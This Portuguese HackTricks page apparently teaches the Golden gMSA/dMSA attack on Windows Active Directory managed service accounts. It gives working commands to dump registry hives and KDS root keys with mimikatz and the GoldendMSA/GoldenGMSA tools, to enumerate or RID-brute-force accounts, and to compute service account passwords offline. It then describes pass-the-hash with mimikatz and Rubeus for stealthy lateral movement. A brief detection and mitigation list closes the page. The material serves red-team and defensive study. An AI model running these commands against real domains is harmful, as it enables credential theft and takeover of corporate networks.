Golden gMSA/dMSA Attack (Derivação Offline de Senhas de Contas de Serviço Gerenciadas)
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão Geral
Contas de Serviço Gerenciadas do Windows (MSA) são princípios especiais projetados para executar serviços sem a necessidade de gerenciar manualmente suas senhas. Existem duas variantes principais:
- gMSA – conta de Serviço Gerenciado em grupo – pode ser usada em vários hosts que estão autorizados em seu atributo
msDS-GroupMSAMembership
. - dMSA – conta de Serviço Gerenciado delegada – o sucessor (em pré-visualização) do gMSA, que se baseia na mesma criptografia, mas permite cenários de delegação mais granulares.
Para ambas as variantes, a senha não é armazenada em cada Controlador de Domínio (DC) como um hash NT regular. Em vez disso, cada DC pode derivar a senha atual em tempo real a partir de:
- A Chave Raiz KDS em todo o bosque (
KRBTGT\KDS
) – segredo nomeado por GUID gerado aleatoriamente, replicado para cada DC sob o contêinerCN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …
. - O SID da conta alvo.
- Um ManagedPasswordID (GUID) por conta encontrado no atributo
msDS-ManagedPasswordId
.
A derivação é: AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )
→ blob de 240 bytes finalmente codificado em base64 e armazenado no atributo msDS-ManagedPassword
.
Nenhum tráfego Kerberos ou interação com o domínio é necessária durante o uso normal da senha – um host membro deriva a senha localmente, desde que conheça as três entradas.
Ataque Golden gMSA / Golden dMSA
Se um atacante puder obter todas as três entradas offline, ele pode calcular senhas válidas atuais e futuras para qualquer gMSA/dMSA no bosque sem tocar no DC novamente, contornando:
- Auditoria de leitura LDAP
- Intervalos de mudança de senha (eles podem pré-computar)
Isso é análogo a um Golden Ticket para contas de serviço.
Pré-requisitos
- Comprometimento em nível de bosque de um DC (ou Admin da Empresa), ou acesso
SYSTEM
a um dos DCs no bosque. - Capacidade de enumerar contas de serviço (leitura LDAP / força bruta RID).
- Estação de trabalho .NET ≥ 4.7.2 x64 para executar
GoldenDMSA
ou código equivalente.
Golden gMSA / dMSA
Fase 1 – Extrair a Chave Raiz KDS
Dump de qualquer DC (Cópia de Sombra de Volume / hives SAM+SECURITY brutos ou segredos remotos):
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
A string base64 rotulada como RootKey
(nome GUID) é necessária em etapas posteriores.
Fase 2 – Enumerar objetos gMSA / dMSA
Recupere pelo menos sAMAccountName
, objectSid
e msDS-ManagedPasswordId
:
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
GoldenDMSA
implementa modos auxiliares:
# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
Fase 3 – Adivinhar / Descobrir o ManagedPasswordID (quando ausente)
Algumas implantações removem msDS-ManagedPasswordId
de leituras protegidas por ACL.
Como o GUID é de 128 bits, a força bruta ingênua é inviável, mas:
- Os primeiros 32 bits = tempo da época Unix da criação da conta (resolução em minutos).
- Seguidos por 96 bits aleatórios.
Portanto, uma lista de palavras estreita por conta (± algumas horas) é realista.
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
A ferramenta calcula senhas candidatas e compara seu blob base64 com o verdadeiro atributo msDS-ManagedPassword
– a correspondência revela o GUID correto.
Fase 4 – Cálculo e Conversão de Senha Offline
Uma vez que o ManagedPasswordID é conhecido, a senha válida está a um comando de distância:
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
Os hashes resultantes podem ser injetados com mimikatz (sekurlsa::pth
) ou Rubeus para abuso de Kerberos, permitindo movimentação lateral furtiva e persistência.
Detecção e Mitigação
- Restringir as capacidades de backup de DC e leitura do hive do registro a administradores de Tier-0.
- Monitorar a criação de Modo de Restauração de Serviços de Diretório (DSRM) ou Cópia de Sombra de Volume em DCs.
- Auditar leituras / alterações em
CN=Master Root Keys,…
e flagsuserAccountControl
de contas de serviço. - Detectar escritas de senha base64 incomuns ou reutilização repentina de senhas de serviço entre hosts.
- Considerar converter gMSAs de alto privilégio em contas de serviço clássicas com rotações aleatórias regulares onde a isolação de Tier-0 não é possível.
Ferramentas
Semperis/GoldenDMSA
– implementação de referência usada nesta página.Semperis/GoldenGMSA
– implementação de referência usada nesta página.mimikatz
–lsadump::secrets
,sekurlsa::pth
,kerberos::ptt
.Rubeus
– pass-the-ticket usando chaves AES derivadas.
Referências
- Golden dMSA – bypass de autenticação para Contas de Serviço Gerenciadas Delegadas
- gMSA Active Directory Ataques Contas
- Repositório GitHub Semperis/GoldenDMSA
- Improsec – ataque de confiança Golden gMSA
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.